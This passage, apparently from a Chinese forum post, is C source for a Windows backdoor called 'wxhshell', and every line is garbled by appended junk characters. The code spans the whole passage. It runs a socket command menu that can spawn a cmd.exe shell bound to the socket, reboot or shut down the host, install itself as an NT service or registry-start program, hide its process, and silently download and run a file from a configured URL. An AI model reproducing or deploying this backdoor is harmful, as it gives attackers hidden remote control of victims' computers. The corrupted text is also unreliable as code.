  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u%|VmM>  
  } }{lOsZA  
  else { B8 2A:t)  
FSM~Rl  
    switch(cmd[0]) { ,^+3AT  
  g~cWBr%>  
  // 帮助 =Xp 3UNXg  
  case '?': { #[A/zH|xvV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |m=@;B|  
    break; 6G( k{S  
  }  "u%$`*  
  // 安装 7 724,+2N  
  case 'i': { pG" 4qw  
    if(Install()) Ad"::&&Wk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b*bR<|dTj  
    else -du+iOe?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J|ILG  
    break; DF|qNX  
    } )ow3Bl8w  
  // 卸载 ULoTPx@N  
  case 'r': { .z_^_@qdm  
    if(Uninstall()) 2/;KZ+U&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vj#gY2qZ  
    else 4 Hu+ljdjB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jReI+ pS  
    break; (Q @m;i>  
    } o]]Q7S=  
  // 显示 wxhshell 所在路径 4TLh'?Xu9  
  case 'p': { i}q6^;uTF  
    char svExeFile[MAX_PATH]; ,@P3!|  
    strcpy(svExeFile,"\n\r"); ] 03!K E  
      strcat(svExeFile,ExeFile); >_5D`^  
        send(wsh,svExeFile,strlen(svExeFile),0); xOkf 9k_  
    break; KR{kn[2|Q  
    } !Zs;m`j&9  
  // 重启 ? 56Zw"89  
  case 'b': { \O^= Z{3y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \,?yj  
    if(Boot(REBOOT)) o77HRX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '- Z4GcL  
    else { |5O%@  
    closesocket(wsh); +oyc9PoXF  
    ExitThread(0); &AoWT:Ea  
    } TzIgEn~  
    break; x.d9mjLN8m  
    } Jb0]!*tV  
  // 关机 02SUyv(Mt  
  case 'd': { ]qXfg c  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [rQ#skf  
    if(Boot(SHUTDOWN)) V,>#!zUv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); / {A]('t  
    else { BkIvoW_  
    closesocket(wsh); {t9U]hX%A[  
    ExitThread(0); )Dv"seH.  
    } 6/GhQ/T%D  
    break; '2%hc\P6P  
    } 1pc|]9B  
  // 获取shell Z3S\@_/;  
  case 's': { 6z/8n f +u  
    CmdShell(wsh); eqLETo@} *  
    closesocket(wsh); ntjUnd&v\  
    ExitThread(0); +[cm  
    break; oiklRf  
  } SBYRN##n_  
  // 退出 /R^!~J50  
  case 'x': { s$RymM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uH]^/'8vBd  
    CloseIt(wsh); z`TI<B  
    break; GA;E (a  
    } |ejrE,~1vb  
  // 离开 >f_D|;EV  
  case 'q': { 1Ce:<.99B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i~\gEMaO  
    closesocket(wsh); M>0~Ek%3  
    WSACleanup(); xE+Go  
    exit(1); z muq4-.  
    break; hI?<F^b  
        } {a>)VZw_#  
  } `5>IvrzXrK  
  } JhuK W>7  
Bw{W-&$o  
  // 提示信息 E6n;_{Se/S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <@Ew-JU  
} ?lbX.+  
  } Gk!v-h9cq  
;7qk9rz4  
  return; ?p$WqVN}  
} ;1"K79  
+[z(N  
// shell模块句柄 jP+4'O!s[  
int CmdShell(SOCKET sock) \Z)'':},C  
{ u |#ruFR  
STARTUPINFO si; vnIxI a  
ZeroMemory(&si,sizeof(si)); J :,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "i#!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <nIU]}q  
PROCESS_INFORMATION ProcessInfo; n)pBK>+  
char cmdline[]="cmd"; uZ OUp8QQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pKp#4Js  
  return 0; L!{^^7  
} J@1(2%)|Z  
4,)=r3;&!  
// 自身启动模式 y 5=J6a2.  
int StartFromService(void) !rrjA$P<v  
{ u} KiSZxt  
typedef struct !WDdq_n*v  
{ %d*}:295  
  DWORD ExitStatus; t7lRMCN  
  DWORD PebBaseAddress; ,ll!19y  
  DWORD AffinityMask; B{zIW'Ld  
  DWORD BasePriority; G-rN?R.  
  ULONG UniqueProcessId; )m6=_q5@o  
  ULONG InheritedFromUniqueProcessId; Wlt shZo  
}   PROCESS_BASIC_INFORMATION; ^GL0|G=(1  
#+r-$N.7  
PROCNTQSIP NtQueryInformationProcess; L9G=+T9  
1tg   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wu s]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aHb,4 wY  
sYXVSNonm  
  HANDLE             hProcess; J| 3CG;+  
  PROCESS_BASIC_INFORMATION pbi; bEPXNN  
s'/ug  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); heRQ|n.Dz)  
  if(NULL == hInst ) return 0; &(wik#S  
Av/|={i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .k[Ptx>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nar=\cs~g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cbS8~Xmj  
}_u )3X.O  
  if (!NtQueryInformationProcess) return 0; R|tjvp-[}  
.t\ Yv/|`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); igz&7U8gg  
  if(!hProcess) return 0; r Cmqq/hZ  
.o fYFK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z^#7&Pv0  
6~D:O?2  
  CloseHandle(hProcess); b}[{'  
F7=a|g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mB_ba1r  
if(hProcess==NULL) return 0; W;j*lII  
qE(`@G  
HMODULE hMod; GfVMj7{  
char procName[255]; <y!6HJ"  
unsigned long cbNeeded; 7rsrC  
"%0RR?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R(x% <I  
rs\*$20  
  CloseHandle(hProcess); 3DgI.V6un  
N[=nh)m7b  
if(strstr(procName,"services")) return 1; // 以服务启动 6I 2`m(5  
k%uRG_  
  return 0; // 注册表启动 g,x$z~zU{  
} w6Ue5Ix,!  
g[!sGa &  
// 主模块 '?Hy"5gUA  
int StartWxhshell(LPSTR lpCmdLine) M}us^t*  
{ IgSe%B  
  SOCKET wsl; .8g&V|  
BOOL val=TRUE; F5)Ta?3|"<  
  int port=0; yp!Xwq#n  
  struct sockaddr_in door; ?p\'S w:  
NW^}u~-f  
  if(wscfg.ws_autoins) Install(); ;Q-sie(#  
mo <g'|0  
port=atoi(lpCmdLine); hZ$* sf  
l *pCG`@J#  
if(port<=0) port=wscfg.ws_port; US4X CJxB  
.\< \J|3  
  WSADATA data; `/Z8mFs Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {T.$xiR  
A:k`Ykr[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    #]n[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c9DX  
  door.sin_family = AF_INET; 6V!yfps)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I%p Q2T$;  
  door.sin_port = htons(port); #F[6$. Gr  
Cc9<ABv?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Bg;bBA!L  
closesocket(wsl); b>;5#OQfn  
return 1; l--xq^,`o]  
} SyTcp?H  
.viA+V  
  if(listen(wsl,2) == INVALID_SOCKET) { $eI[3{}X  
closesocket(wsl); FVL0K(V(  
return 1; |0mh*+i  
} 33-=Z9|r  
  Wxhshell(wsl); iZ)7%R?5  
  WSACleanup(); + ^4"  
dqPJ 2j $\  
return 0; i_f"?X;D  
l,pq;>c9a  
} u V=rLDY  
]+ug:E{7  
// 以NT服务方式启动 F;`es%8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )p ,-TtV  
{ hoeOdWI pf  
DWORD   status = 0; hnH:G`[F  
  DWORD   specificError = 0xfffffff; /C_O/N  
;LthdY()n(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &`t-[5O\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "'s`?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Mm|HA@W^  
  serviceStatus.dwWin32ExitCode     = 0; rcNM,!dZ  
  serviceStatus.dwServiceSpecificExitCode = 0; ^!E;+o' t  
  serviceStatus.dwCheckPoint       = 0; :P;#Y7}Y$  
  serviceStatus.dwWaitHint       = 0; 21G] d  
+qjW;]yxP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T?E2;j0h'#  
  if (hServiceStatusHandle==0) return; TY~0UU$  
vg *+>lbA  
status = GetLastError(); Hq6VwQu?  
  if (status!=NO_ERROR) CSwNsFDR%  
{ Hm%[d;Z7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V<nh+Q3<d  
    serviceStatus.dwCheckPoint       = 0;  Zna }h{  
    serviceStatus.dwWaitHint       = 0; TkmN.@w_C  
    serviceStatus.dwWin32ExitCode     = status; `Fu|50_@V  
    serviceStatus.dwServiceSpecificExitCode = specificError; WY0u9M4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3p$ZHH.UP  
    return; Qa(u+  
  } }+I 8l'  
t55CT6Se  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w{#%&e(q"  
  serviceStatus.dwCheckPoint       = 0; 2-UZ|y  
  serviceStatus.dwWaitHint       = 0; X[grV e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T\. 8og  
} E=HS'XKu[K  
}MuXN<DDb  
// 处理NT服务事件,比如:启动、停止 fJC)>doM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Mp"] =  
{ Ypha{d  
switch(fdwControl) A]Q4fD1q  
{ hq(3%- 7&  
case SERVICE_CONTROL_STOP: !>gc!8Y'o  
  serviceStatus.dwWin32ExitCode = 0; !W n'Ae9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }me]?en_Ra  
  serviceStatus.dwCheckPoint   = 0; irgjq/&d  
  serviceStatus.dwWaitHint     = 0; Z/:( *FC  
  { !(l,+@j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )bPwB.}kq  
  } P@ 1D  
  return;  ,Ad\!  
case SERVICE_CONTROL_PAUSE: $aG]V-M>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q]a5]:0  
  break; z[ IG+2  
case SERVICE_CONTROL_CONTINUE: K ,+`td#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K#+TCZ,  
  break; ~F uD6f  
case SERVICE_CONTROL_INTERROGATE: LP#CA^*S  
  break; 8t0i j  
}; rS)7D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w.^k':,"  
} z&cfFx#h)  
ely&'y!  
// 标准应用程序主函数 wp.'M?6`L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B=|yjA'Fg  
{ tAbIT;>  
-D38>#Y  
// 获取操作系统版本 /xj'Pq((}p  
OsIsNt=GetOsVer(); Tb:n6a@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @b-?KH  
e>sr)M  
  // 从命令行安装 Ho\K %#u  
  if(strpbrk(lpCmdLine,"iI")) Install(); T*|?]k 8@*  
3)__b:7J  
  // 下载执行文件 QBai;p{  
if(wscfg.ws_downexe) { .:l78>f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .Uha%~%  
  WinExec(wscfg.ws_filenam,SW_HIDE); aH,0+|  
} [C P V5\2  
=xai 7iM  
if(!OsIsNt) { U>ob)-tl  
// 如果时win9x,隐藏进程并且设置为注册表启动 \muyL?  
HideProc(); B~LB^ n(>@  
StartWxhshell(lpCmdLine); -wvJZ  
} M /Bn^A8@  
else pd>EUdbrp&  
  if(StartFromService()) BU]9eF!>h  
  // 以服务方式启动 @*A(#U8p3  
  StartServiceCtrlDispatcher(DispatchTable); O_(J',++  
else 1B,RRHXn6  
  // 普通方式启动 /HI#8  
  StartWxhshell(lpCmdLine); SYa!IL-B  
2R:['QT  
return 0; _EjS(.e/=  
}
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只看该作者 1 发表于: 2006-10-10
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